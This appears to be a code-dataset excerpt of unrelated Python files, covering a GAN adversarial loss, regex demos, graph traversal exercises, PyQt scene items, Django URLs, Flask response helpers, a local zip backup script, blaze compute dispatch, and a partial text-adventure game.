self.cuda(cuda)\n\n\n def init_modules(self, input_params, adversarial_params):\n adversarial_params = adversarial_params or {'dim':500, 'nlayers':2}\n self.hidden_module = MLP(input_params, adversarial_params)\n self.discriminator = nn.Linear(checklist(adversarial_params['dim'])[-1], 1)\n\n def init_optimizer(self, optim_params={}):\n self.optim_params = optim_params\n alg = optim_params.get('optimizer', 'Adam')\n optim_args = optim_params.get('optim_args', {'lr':1e-3})\n\n optimizer = getattr(torch.optim, alg)([{'params':self.parameters()}], **optim_args)\n self.optimizer = optimizer\n\n def loss(self, params1=None, params2=None, sample=False, **kwargs):\n assert params1 is not None\n assert params2 is not None\n\n #pdb.set_trace()\n if issubclass(type(params1), dist.Distribution):\n z_fake = params1.rsample().float()\n else:\n z_fake = params1.float()\n if issubclass(type(params2), dist.Distribution):\n z_real = params2.rsample().float()\n else:\n z_real = params2.float()\n\n data_dim = len(checktuple(self.input_params['dim'])) \n if len(z_fake.shape) > data_dim + 1:\n z_fake = z_fake.contiguous().view(cumprod(z_fake.shape[:-data_dim])[-1], *z_fake.shape[-data_dim:])\n z_real = z_real.contiguous().view(cumprod(z_real.shape[:-data_dim])[-1], *z_real.shape[-data_dim:])\n\n device = z_fake.device\n # get generated loss\n d_gen = torch.sigmoid(self.discriminator(self.hidden_module(z_fake)))\n #print('d_gen : ', d_gen.min(), d_gen.max())\n try:\n assert d_gen.min() >= 0 and d_gen.max() <= 1\n except AssertionError:\n pdb.set_trace()\n loss_gen = self.reduce(torch.nn.functional.binary_cross_entropy(d_gen, torch.ones(d_gen.shape, device=device), reduction=\"none\"))\n\n # get discriminative loss\n d_real = torch.sigmoid(self.discriminator(self.hidden_module(z_real)))\n #print('d_real : ', d_real.min(), d_real.max())\n try:\n assert d_real.min() >= 0 and d_real.max() <= 1\n except AssertionError:\n pdb.set_trace()\n\n d_fake = torch.sigmoid(self.discriminator(self.hidden_module(z_fake.detach())))\n #print('d_fake : ', d_fake.min(), d_fake.max())\n try:\n assert d_fake.min() >= 0 and d_fake.max() <= 1\n except AssertionError:\n pdb.set_trace()\n\n loss_real = torch.nn.functional.binary_cross_entropy(d_real, torch.ones(d_real.shape, device=device), reduction=\"none\")\n loss_fake = torch.nn.functional.binary_cross_entropy(d_fake, torch.zeros(d_fake.shape, device=device), reduction=\"none\")\n\n self.adv_loss = self.reduce((loss_real+loss_fake)/2)\n return loss_gen, (loss_gen.cpu().detach().numpy(), self.adv_loss.cpu().detach().numpy())\n\n def get_named_losses(self, losses):\n if issubclass(type(losses[0]), (tuple, list)):\n outs = {}\n for i,l in enumerate(losses):\n outs = {**outs, 'gen_loss_%d'%i:l[0], 'adv_loss_%d'%i:l[1]}\n return outs\n else:\n return {'gen_loss':losses[0], 'adv_loss':losses[1]}\n\n def step(self, *args, **kwargs):\n self.adv_loss.backward()\n self.optimizer.step()\n self.optimizer.zero_grad()\n\n\n","sub_path":"criterions/criterion_adversarial.py","file_name":"criterion_adversarial.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"374935946","text":"import re\n\ns=\"Levi:1994,Sunny:1993\"\npattern=r\"\\w+:\\d+\"\nl=re.findall(pattern,s)\nprint(l)\n\n\n#compile对象\nregex=re.compile(pattern)\nl=regex.findall(s)\nprint(l)\n\n\n#切割\ns=\"hello world how are you L-boby\"\nl=re.split(r'[^\\w]+',s)\nprint(l)\n\n#替换 sub(patter,replace,string,max)\ns=\"时间: 2019/10/12\"\nns=re.sub(r'/','-',s)\nprint(ns)\n\n#迭代器 re.finditer()\ns=\"2019年4月28日\"\nit=re.finditer(r'\\d+',s)\nfor i in it:\n print(i.group())\n\n#完美匹配\nm=re.fullmatch(r'[0-9a-zA-Z]+','hello1973')\nprint(m.group())\n\n#匹配第一处\nm=re.search(r'\\S+','好\\n嗨 哟')\nprint(m.group())\n\n#flags=re.A re.I 忽略字母大小写 re.M匹配每行 re.A|re.I","sub_path":"untitled/month02/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"401302596","text":"\"\"\"\nSimple graph implementation\n\"\"\"\nfrom util import Stack, Queue # These may come in handy\n\n\nclass Graph:\n \"\"\"Represent a graph as a dictionary of vertices mapping labels to edges.\"\"\"\n\n def __init__(self):\n self.vertices = {}\n\n def add_vertex(self, vertex):\n self.vertices[vertex] = set()\n\n def add_edge(self, v1, v2):\n self.vertices[v1].add(v2)\n\n def bft(self, starting_vertex):\n printed_traversal = \"\"\n viewed = {}\n for vert in self.vertices:\n viewed[vert] = \"white\"\n\n viewed[starting_vertex] = \"gray\"\n queue = Queue()\n queue.enqueue(starting_vertex)\n\n while len(queue.queue) > 0:\n head = queue.queue[0]\n for vert in self.vertices[head]:\n if viewed[vert] == \"white\":\n viewed[vert] = \"gray\"\n queue.enqueue(vert)\n comma = \", \" if printed_traversal != \"\" else \"\"\n printed_traversal += comma + str(queue.dequeue())\n viewed[head] = 'black'\n print(printed_traversal)\n\n def dft(self, starting_vertex):\n printed_traversal = ''\n viewed = {}\n for vert in self.vertices:\n viewed[vert] = False\n\n stack = Stack()\n stack.push(starting_vertex)\n viewed[starting_vertex] = True\n\n while stack.size() > 0:\n tail = stack.pop()\n comma = \", \" if printed_traversal != \"\" else \"\"\n printed_traversal += comma + str(tail)\n\n for vert in self.vertices[tail]:\n if not viewed[vert]:\n viewed[vert] = True\n stack.push(vert)\n\n print(printed_traversal)\n\n def dft_recursive(self, starting_vertex, visited = None):\n\n if visited is None:\n visited = []\n visited.append(starting_vertex)\n for vert in self.vertices[starting_vertex]:\n if vert not in visited:\n self.dft_recursive(vert, visited)\n\n return visited\n\n def bfs(self, starting_vertex, destination_vertex):\n visited_paths = {}\n queue = Queue()\n queue.enqueue([starting_vertex])\n while not destination_vertex in visited_paths:\n curr_path = queue.dequeue()\n curr_node = curr_path[-1]\n if curr_node not in visited_paths:\n visited_paths[curr_node] = curr_path\n for vert in self.vertices[curr_node]:\n if vert not in visited_paths:\n new_path = list(curr_path)\n new_path.append(vert)\n queue.enqueue(new_path)\n if len(self.vertices) == len(visited_paths) and destination_vertex not in visited_paths:\n visited_paths[destination_vertex] = None\n return visited_paths[destination_vertex]\n\n def dfs(self, starting_vertex, destination_vertex):\n visited = {}\n returned_path = None\n for vert in self.vertices:\n visited[vert] = False\n\n\n def dfs_recurs(start, dest, visited, path):\n\n nonlocal returned_path\n visited[start] = True\n path.append(start)\n\n if start is dest:\n print(path)\n if returned_path is not None:\n returned_path = path\n else:\n for vert in self.vertices[start]:\n if not visited[vert]:\n dfs_recurs(vert, dest, visited, path)\n\n path.pop()\n visited[start] = False\n\n dfs_recurs(starting_vertex, destination_vertex, visited, [])\n\n return returned_path\n\n\nif __name__ == '__main__':\n graph = Graph() # Instantiate your graph\n # https://github.com/LambdaSchool/Graphs/blob/master/objectives/breadth-first-search/img/bfs-visit-order.png\n graph.add_vertex(1)\n graph.add_vertex(2)\n graph.add_vertex(3)\n graph.add_vertex(4)\n graph.add_vertex(5)\n graph.add_vertex(6)\n graph.add_vertex(7)\n graph.add_edge(5, 3)\n graph.add_edge(6, 3)\n graph.add_edge(7, 1)\n graph.add_edge(4, 7)\n graph.add_edge(1, 2)\n graph.add_edge(7, 6)\n graph.add_edge(2, 4)\n graph.add_edge(3, 5)\n graph.add_edge(2, 3)\n graph.add_edge(4, 6)\n\n '''\n Should print:\n {1: {2}, 2: {3, 4}, 3: {5}, 4: {6, 7}, 5: {3}, 6: {3}, 7: {1, 6}}\n '''\n print(graph.vertices)\n\n '''\n Valid DFT paths:\n 1, 2, 3, 5, 4, 6, 7\n 1, 2, 3, 5, 4, 7, 6\n 1, 2, 4, 7, 6, 3, 5\n 1, 2, 4, 6, 3, 5, 7\n '''\n # graph.dft(1)\n\n '''\n Valid BFT paths:\n 1, 2, 3, 4, 5, 6, 7\n 1, 2, 3, 4, 5, 7, 6\n 1, 2, 3, 4, 6, 7, 5\n 1, 2, 3, 4, 6, 5, 7\n 1, 2, 3, 4, 7, 6, 5\n 1, 2, 3, 4, 7, 5, 6\n 1, 2, 4, 3, 5, 6, 7\n 1, 2, 4, 3, 5, 7, 6\n 1, 2, 4, 3, 6, 7, 5\n 1, 2, 4, 3, 6, 5, 7\n 1, 2, 4, 3, 7, 6, 5\n 1, 2, 4, 3, 7, 5, 6\n '''\n # graph.bft(1)\n\n '''\n Valid DFT recursive paths:\n 1, 2, 3, 5, 4, 6, 7\n 1, 2, 3, 5, 4, 7, 6\n 1, 2, 4, 7, 6, 3, 5\n 1, 2, 4, 6, 3, 5, 7\n '''\n # print(graph.dft_recursive(1))\n\n '''\n Valid BFS path:\n [1, 2, 4, 6]\n '''\n # print(graph.bfs(1, 6))\n\n '''\n Valid DFS paths:\n [1, 2, 4, 6]\n [1, 2, 4, 7, 6]\n '''\n graph.dfs(1, 6)\n","sub_path":"projects/graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"367960431","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom manager import *\n\nclass E_GraphicsScene(QGraphicsScene):\n def __init__(self, parent=None):\n QGraphicsScene.__init__(self, parent)\n\n self.bClicked = False\n self.joints = []\n\n\n def mousePressEvent(self, event):\n super(E_GraphicsScene, self).mousePressEvent(event)\n self.bClicked = True\n \n def mouseReleaseEvent(self, event):\n super(E_GraphicsScene, self).mouseReleaseEvent(event)\n self.bClicked = False\n \n def mouseMoveEvent(self, event):\n super(E_GraphicsScene, self).mouseMoveEvent(event)\n\n if self.bClicked:\n selected_items = self.selectedItems()\n\n #If Item is selected \n if len(selected_items) == 1:\n \n #Get Item Index\n selected_item = selected_items[0]\n\n #Get Idx along joints\n item_list = [item for item in self.items(order=Qt.AscendingOrder) if isinstance(item, E_GraphicsEllipseItem)]\n idx = item_list.index(selected_item)\n\n #Update corresponding Lines..\n selected_item.update()\n\n\n ##Update global information\n #Get Position\n x = selected_item.scenePos().x()+5\n y = selected_item.scenePos().y()+5\n \n #update Position\n E_Manager.update_2d_joint(idx, [x,y])\n\nclass E_GraphicsEllipseItem(QGraphicsEllipseItem):\n def __init__(self, parent=None):\n QGraphicsEllipseItem.__init__(self, parent)\n\n self.setRect(0, 0, 10, 10)\n self.setFlag(QGraphicsItem.ItemIsMovable)\n self.setFlag(QGraphicsItem.ItemIsSelectable)\n\n self.lines = []\n\n def add_lines(self, line):\n if type(line) == E_GraphicsLineItem:\n self.lines.append(line)\n\n\n def update(self):\n for line in self.lines:\n line.update()\n\n\nclass E_GraphicsLineItem(QGraphicsLineItem):\n def __init__(self, parent=None):\n QGraphicsLineItem.__init__(self, parent)\n self.setPen(QPen(QBrush(QColor(255,255,0)), 5))\n\n self.point1 = None\n self.point2 = None\n\n\n def addPoints(self, point1, point2): \n\n #Add lines to point\n point1.add_lines(self)\n point2.add_lines(self)\n \n #Add Point self\n self.point1 = point1\n self.point2 = point2\n\n\n #update rendering\n self.update()\n\n def update(self):\n self.setLine(self.point1.scenePos().x()+5, self.point1.scenePos().y()+5, self.point2.scenePos().x()+5, self.point2.scenePos().y()+5)\n\n \n \n \n \n\n \n \n ","sub_path":"python/gui/_scene.py","file_name":"_scene.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"464903886","text":"\"\"\"ShannonAkin_FinalProject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'myStickyNote/', views.myStickyNote, name='myStickyNote'),\n url(r'designDocumentation/', views.designDocumentation, name='designDocumentation'),\n url(r'snakey/', views.snakey, name='snakey'),\n url(r'authorQuotes/', views.authors, name='quotes'),\n url(r'indivQuote/(?P[0-9]+)$', views.quote, name='indivQuote')\n]\n","sub_path":"quotesLibrary/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"508263071","text":"#!python3.6\n# _*_ coding:utf-8 _*_\n#\n# @Version : 1.0\n# @Date : 2019-08-21\n# @Author : HanQun\n# @Introduction : 所有正常响应方法\n# dependence\nfrom flask import jsonify\nfrom app.enum import ResponseCode\nfrom .error import server_error\n\ndef succeed(message='', data=''):\n print(data)\n response = jsonify({'code': ResponseCode.SUCCESS.value, 'msg': message, 'data': data})\n response.status_code = 200\n return response\n\n\ndef usually(message='', data=''):\n from app import db\n try:\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n print(e)\n return server_error()\n return succeed(message, data)\n\n\ndef alipay_response_with_callback(callback=None, param=()):\n from app import db\n try:\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n print(e)\n return server_error()\n\n if callback:\n callback(*param)\n return \"success\"\n else:\n return \"success\"\n\n\ndef wechat_response_with_callback(state, msg, callback=None, param=()):\n from app import db\n try:\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n print(e)\n return \"\".format(\n state=\"FAIL\", msg=\"服务器异常\")\n if callback:\n callback(*param)\n return \"\".format(\n state=state, msg=msg)\n\n\n","sub_path":"app/response/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"291328601","text":"import os\nimport time\n\n# What files will be backed up.\nsource = ['/home/jackiethefilly/notes']\n\n# Where to put the backed up files.\ntarget_dir = '/home/jackiethefilly/backup'\n\n# We create the target file as '/home/jackiethefilly/backup/20170320125900.zip'\n# os.sep returns a '/' on Linux and a '\\\\' on Windows.\ntarget = target_dir + os.sep + \\\n\ttime.strftime('%Y%m%d%H%M%S') + '.zip'\n\t\n# If the directory doesn't exist, we create it.\nif not os.path.exists(target_dir):\n\tos.mkdir(target_dir)\n\t\nzip_command = 'zip -r {0} {1}'.format(target, ' '.join(source))\n\nprint('Zip command is:')\nprint(zip_command)\nprint('Running:')\n\n# If os.system() returns 0, it ran successfully, else it will fail.\nif os.system(zip_command) == 0:\n\tprint('Successful backup to', target)\nelse:\n\tprint('Backup FAILED')","sub_path":"backup_script.py","file_name":"backup_script.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"634257401","text":"# Functions to list files and crawl directories for problem set files\n\nimport os\n\nHOME = os.environ[\"HOME\"]\ncwd = os.getcwd()\n\nprint('Current Working Directory is: ', cwd)\nprint('Home is: ', HOME, '\\n')\n\nos.chdir('/Users/chris/GitHub/course-files/Geometry')\n\n#use scandir instead of listdir\nunit_directories = []\nwith os.scandir() as d:\n for unit in d:\n if not unit.name.startswith('.') and unit.is_dir():\n unit_directories.append(unit.name)\n\nunit_directories.sort()\n\ncourse_files = {}\nfor unit in unit_directories:\n unit_texfiles = []\n with os.scandir(unit) as d:\n for entry in d:\n if entry.name.endswith('.tex'):\n unit_texfiles.append(entry.name)\n course_files[unit] = unit_texfiles\n\nfor unit in course_files:\n print(unit, len(course_files[unit]))\n\n\n\n\n","sub_path":"test/src/sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"464831774","text":"from __future__ import absolute_import, division, print_function\nimport numbers\nfrom datetime import date, datetime\nimport toolz\nfrom toolz import first\n\nfrom ..compatibility import basestring\nfrom ..expr import Expr, Symbol, Symbol, eval_str, Union\nfrom ..dispatch import dispatch\n\n__all__ = ['compute', 'compute_up']\n\nbase = (numbers.Real, basestring, date, datetime)\n\n\n@dispatch(object, object)\ndef compute_up(a, b, **kwargs):\n raise NotImplementedError(\"Blaze does not know how to compute \"\n \"expression of type `%s` on data of type `%s`\"\n % (type(a).__name__, type(b).__name__))\n\n\n@dispatch(base)\ndef compute_up(a, **kwargs):\n return a\n\n\n@dispatch((list, tuple))\ndef compute_up(seq, scope=None, **kwargs):\n return type(seq)(compute(item, scope or {}, **kwargs) for item in seq)\n\n\n@dispatch(Expr, object)\ndef compute(expr, o, **kwargs):\n \"\"\" Compute against single input\n\n Assumes that only one Symbol exists in expression\n\n >>> t = Symbol('t', 'var * {name: string, balance: int}')\n >>> deadbeats = t[t['balance'] < 0]['name']\n\n >>> data = [['Alice', 100], ['Bob', -50], ['Charlie', -20]]\n >>> # list(compute(deadbeats, {t: data}))\n >>> list(compute(deadbeats, data))\n ['Bob', 'Charlie']\n \"\"\"\n ts = set([x for x in expr._subterms() if isinstance(x, Symbol)])\n if len(ts) == 1:\n return compute(expr, {first(ts): o}, **kwargs)\n else:\n raise ValueError(\"Give compute dictionary input, got %s\" % str(o))\n\n\n@dispatch(object)\ndef compute_down(expr):\n \"\"\" Compute the expression on the entire inputs\n\n inputs match up to leaves of the expression\n \"\"\"\n return expr\n\n\ndef top_to_bottom(d, expr, **kwargs):\n \"\"\" Processes an expression top-down then bottom-up \"\"\"\n # Base case: expression is in dict, return associated data\n if expr in d:\n return d[expr]\n\n # See if we have a direct computation path\n if (hasattr(expr, '_leaves') and compute_down.resolve(\n (type(expr),) + tuple([type(d.get(leaf)) for leaf in expr._leaves()]))):\n leaves = [d[leaf] for leaf in expr._leaves()]\n try:\n return compute_down(expr, *leaves, **kwargs)\n except NotImplementedError:\n pass\n\n # Otherwise...\n # Compute children of this expression\n children = ([top_to_bottom(d, child, **kwargs)\n for child in expr._inputs]\n if hasattr(expr, '_inputs') else [])\n\n # Compute this expression given the children\n return compute_up(expr, *children, scope=d, **kwargs)\n\n\ndef bottom_up(d, expr):\n \"\"\"\n Process an expression from the leaves upwards\n\n Parameters\n ----------\n\n d : dict mapping {Symbol: data}\n Maps expressions to data elements, likely at the leaves of the tree\n expr : Expr\n Expression to compute\n\n Helper function for ``compute``\n \"\"\"\n # Base case: expression is in dict, return associated data\n if expr in d:\n return d[expr]\n\n # Compute children of this expression\n children = ([bottom_up(d, child) for child in expr._inputs]\n if hasattr(expr, '_inputs') else [])\n\n # Compute this expression given the children\n result = compute_up(expr, *children, scope=d)\n\n return result\n\n\n@dispatch(Expr, object)\ndef pre_compute(leaf, data):\n \"\"\" Transform data prior to calling ``compute`` \"\"\"\n return data\n\n\n@dispatch(Expr, object, dict)\ndef post_compute(expr, result, d):\n \"\"\" Effects after the computation is complete \"\"\"\n return result\n\n\n@dispatch(Expr, object)\ndef optimize(expr, data):\n \"\"\" Optimize expression to be computed on data \"\"\"\n return expr\n\n\ndef swap_resources_into_scope(expr, scope):\n \"\"\" Translate interactive expressions into normal abstract expressions\n\n Interactive Blaze expressions link to data on their leaves. From the\n expr/compute perspective, this is a hack. We push the resources onto the\n scope and return simple unadorned expressions instead.\n\n Example\n -------\n\n >>> from blaze import Data\n >>> t = Data([1, 2, 3], dshape='3 * int', name='t')\n >>> swap_resources_into_scope(t.head(2), {})\n (t.head(2), {t: [1, 2, 3]})\n \"\"\"\n resources = expr._resources()\n symbol_dict = dict((t, Symbol(t._name, t.dshape)) for t in resources)\n resources = dict((symbol_dict[k], v) for k, v in resources.items())\n scope = toolz.merge(resources, scope)\n expr = expr._subs(symbol_dict)\n\n return expr, scope\n\n\n@dispatch(Expr, dict)\ndef compute(expr, d, **kwargs):\n \"\"\" Compute expression against data sources\n\n >>> t = Symbol('t', 'var * {name: string, balance: int}')\n >>> deadbeats = t[t['balance'] < 0]['name']\n\n >>> data = [['Alice', 100], ['Bob', -50], ['Charlie', -20]]\n >>> list(compute(deadbeats, {t: data}))\n ['Bob', 'Charlie']\n \"\"\"\n expr2, d2 = swap_resources_into_scope(expr, d)\n d3 = dict((e, pre_compute(e, dat)) for e, dat in d2.items())\n\n try:\n expr3 = optimize(expr2, *[v for e, v in d3.items() if e in expr2])\n except NotImplementedError:\n expr3 = expr2\n result = top_to_bottom(d3, expr3, **kwargs)\n return post_compute(expr3, result, d3)\n\n\n@dispatch(Union, (list, tuple))\ndef compute_up(t, children, **kwargs):\n return compute_up(t, children[0], tuple(children))\n","sub_path":"blaze/compute/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"203660882","text":"# This program prompts the user for multiple things, constantly changing the\n# direction/setting of the game depending on user's input.\n\n# ------------------------ Developed by: Omar Toutounji (10169506) -------------------------\n\nfrom time import sleep\nfrom os import system\nimport random\n\ndef main():\n\n # PLAYER STATS (STATISTIC, INFO)\n player = [[\"name\"], [\"objects\"], [\"money\"], [\"floors\"], [\"lives\"], [\"steps\"]]\n\n # INTRODUCTION\n system(\"cls\")\n print(\"[incoming communication]\")\n\n # SLEEP(3) PAUSES THE PROGRAM FOR 3 SECONDS\n sleep(3)\n\n print(\"[recieving messages]\")\n\n # SLEEP(2) PAUSES THE PROGRAM FOR 2 SECONDS\n sleep(2)\n\n print(\"[reading messages]\")\n\n # SLEEP(1) PAUSES THE PROGRAM FOR 1 SECONDS\n sleep(1)\n\n print(\"---> Hello?\")\n sleep(1)\n print(\"---> Can anyone read me?\\n\")\n display_options1(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION. CHECKER2 FUNCTION RETURNS TRUE OR FALSE\n flag = checker2(response1, \"y\", \"w\")\n while flag == False:\n\n # SYSTEM(\"CLS\") CLEARS THE SCREEN\n system(\"cls\")\n\n # DISPLAYS ERROR MESSAGE\n error_message()\n\n # DISPLAYS OPTIONS AVAILABLE\n display_options1(player)\n\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"y\", \"w\")\n\n # INTRODUCTION 2\n system(\"cls\")\n print(\"---> This is John Picket.\")\n sleep(2)\n print(\"---> NASA instructed me to go on a mission to Mars with my close friend.\")\n sleep(1)\n print(\"---> Hours later, I woke up in an unknown planet with no human around me.\")\n sleep(1)\n print(\"---> Are you willing to help me?\\n\")\n display_options2(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION\n flag = checker2(response1, \"y\", \"n\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options2(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"y\", \"n\")\n\n # DECISION\n system(\"cls\")\n if response1 == \"y\":\n selection_displayer(\"y\")\n print(\"---> Great! What is your name?\\n\")\n\n # INPUT STORAGE\n name = input(\"Enter your name: \")\n\n # NAME INPUT VERIFICATION\n name_flag = name_checker(name)\n while name_flag == False:\n system(\"cls\")\n print(\"---> Please enter your actual name.\\n\")\n name = input(\"Please enter your name: \")\n name_flag = name_checker(name)\n\n # APPEND NAME TO PLAYER\n name = name_refiner(name)\n player[0].append(name)\n\n # LIVES FEATURE\n system(\"cls\")\n print(\"---> Okay\", name)\n print(\"---> I shall transport you to Mars to help me\")\n print(\"---> But before I do, how many lives do you want to have?\\n\")\n\n # LIVES INPUT STORAGE\n lives = input(\"Enter the amount of lives you want to have: \")\n \n # NUMBER OF LIVES INPUT VERIFICATION\n number_flag = number_checker(lives)\n while number_flag == False:\n system(\"cls\")\n print(\"---> Not funny\", name)\n print(\"---> Please take things seriously\")\n print(\"---> Enter the amount of lives you want to have NOW!\\n\")\n lives = input(\"Please enter amount of lives: \")\n number_flag = number_checker(lives)\n\n # APPEND AMOUNT OF LIVES TO PLAYER\n player[4].append(int(lives))\n\n # TRANSPORTATION TO MARS\n system(\"cls\")\n print(\"---> Please look AT your computer's/mobile's webcam.\")\n sleep(2)\n print(\"[booting transporter]\")\n sleep(3)\n print(\"[trasporting to Mars]\")\n sleep(1)\n print(\"[relocating to John Picket]\")\n sleep(2)\n print(\"[success. John will arrive in a minute. Please wait here]\")\n sleep(3)\n\n # GAME CHANGING DECISION (ENDS UP IN MARS OR EARTH)\n system(\"cls\")\n print(\"*A huge, interesting floating bubble passes by*\")\n print(\"[Would you like to touch it?]\")\n sleep(2)\n display_options3(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \")\n\n\n # INPUT VERIFICATION\n flag = checker2(response1, \"y\", \"n\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options3(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"y\", \"n\")\n\n # GAME CHANGING DECISION\n if response1 == \"y\":\n\n # JOHN SENDS PLAYER BACK TO EARTH, NOT TRUSTWORTHY ENOUGH SINCE HE TOUCHED THE BUBBLE\n system(\"cls\")\n selection_displayer(\"y\")\n print(\"[YOU JUST DIED]\")\n sleep(1)\n player[4][1] -= 1\n print(\"You have\", player[4][1], \"lives left\")\n info_displayer(player)\n if player[4][1] <=0: # Detects if player has 0 or less lives and forces to restart\n system(\"cls\")\n print(\"Amount of lives: \", player[4][1])\n info_displayer(player)\n print(\"[Game over, you have no choice but to restart the game]\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n print(\"[Would you like to restart or carry on?]\")\n sleep(2)\n display_options4(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \")\n\n # INPUT VERIFICATION\n flag = checker2(response1, \"c\", \"r\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options4(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"c\", \"r\")\n\n # DECISION\n if response1 == \"c\":\n system(\"cls\")\n selection_displayer(\"c\")\n print(\"[you currently have\", player[4][1], \"lives left]\")\n print(\"---> Hello\", name,\", It's John.\")\n sleep(1)\n print(\"---> That bubble apperaing was a test of trust,\", name)\n sleep(1)\n print(\"---> You failed it. So I'm sending you back to Earth.\")\n sleep(2)\n print(\"---> You're not trustworthy, I'm sorry\")\n sleep(1)\n print(\"[booting transporter]\")\n sleep(3)\n print(\"[trasporting back to Earth]\")\n sleep(1)\n system(\"cls\")\n\n # SENDS PLAYER TO EARTH BY CALLING EARTH FUNCTION\n earth(player)\n\n # DECISION\n elif response1 == \"r\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"r\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n\n # DECISION\n elif response1 == \"n\":\n\n # PLAYER ACTUALLY MEETS JOHN AND HELPS HIM\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"n\")\n\n print(\"---> Welcome to Mars!\")\n sleep(1)\n print(\"---> Such a pleasure to meet you,\", name)\n sleep(1)\n print(\"---> I'm John Picket\")\n sleep(1)\n print(\"---> Here's a phone so you we could keep in contact\")\n sleep(2)\n print(\"---> Here's 50 Marollars (units of money in Mars) too.\")\n sleep(2)\n print(\"[50 MAROLLARS added to your money]\")\n sleep(1)\n print(\"[1 PHONE added to your objects]\")\n player[1].append(\"phone\")\n player[1].append(1)\n player[2].append(50)\n sleep(3)\n system(\"cls\")\n print(\"---> You have one mission.\")\n sleep(2)\n print(\"---> To find my friend, Hugo\")\n sleep(3)\n print(\"---> We're in the main area right now\")\n sleep(2)\n\n #DECISION HERE YES OR NO TO MAKE IT SHORTER\n system(\"cls\")\n print(\"[Robot Assistant: I have found Hugo's location]\")\n sleep(2)\n print(\"[I sent the coordinates to your mobile]\")\n sleep(3)\n print(\"HUGO'S COORDINATES recieved.\")\n sleep(1)\n print(\"[ERROR NO GPS APP DETECTED ON YOUR PHONE]\")\n sleep(1)\n print(\"[Would you like to purchase Moogle Maps for 20 Marollars?]\")\n sleep(2)\n display_options5(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION\n flag = checker2(response1, \"y\", \"n\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options5(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"y\", \"n\")\n\n # DECISION\n if response1 == \"y\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"y\")\n\n print(\"[20 MAROLLARS DEDUCTED FROM YOUR MONEY]\")\n sleep(1)\n player[2][1] -= 20\n print(\"[you currently have\", player[2][1], \"Marollars]\")\n sleep(2)\n print(\"[Since our knowledge base on Mars is very limited]\")\n sleep(1)\n print(\"[The GPS app will only be able to tell you how many steps to take]\")\n sleep(2)\n print(\"[booting GPS]\")\n sleep(3)\n\n #COMPUTES A RANDOM NUMBER BETWEEN 1 AND 30 INCLUSIVE\n randomNumber = random.randint(1, 30)\n\n # GUESSING GAME DISGUISED AS A FINDING-HUGO GAME TO PLAYER\n\n # AMOUNT OF STEPS PLAYER CHOOSES TO TAKE WHEN ASKED\n amount_steps = 0 \n\n # SUM OF ALL STEPS TAKEN\n sum_steps = 0\n\n # NUMBER OF HOW MANY TIMES THE LOOP GOES OVER ITSELF\n amount_loop = 0 \n\n # GAME'S MAIN ENGINE BASED ON RANDOMNESS\n while(randomNumber != int(amount_steps)): \n amount_steps = input(\"Please enter the amount of steps you'd like to take: \")\n\n #INPUT VERIFICATION\n number_flag = 